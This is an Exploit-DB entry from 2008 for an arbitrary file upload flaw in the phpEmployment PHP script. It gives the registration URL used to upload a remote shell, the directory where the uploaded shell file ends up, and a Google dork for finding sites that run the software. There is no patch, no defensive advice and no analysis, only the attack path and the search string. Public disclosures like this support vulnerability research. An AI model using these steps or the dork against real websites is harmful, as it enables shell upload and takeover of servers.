phpEmployment - 'PHP Upload' Arbitrary File Upload

EDB-ID:

7563

CVE:

2008-6920

EDB Verified:

Author:

ahmadbady

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2008-12-23

Vulnerable App:

****(remote shell upload)****

script: phpEmployment
   
***************************************************************************
download from:http://www.w2b.ru/download/phpEmployment.zip
   
***************************************************************************
www.site.com/path/auth.php?mode=regnew&adtype=job

shell: www.site.com/path/photoes/number_shell.php

----------------------------------------------------------------------------------------
dork:"powered by phpEmployment"
------------------------------------------------------------------------------------------  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services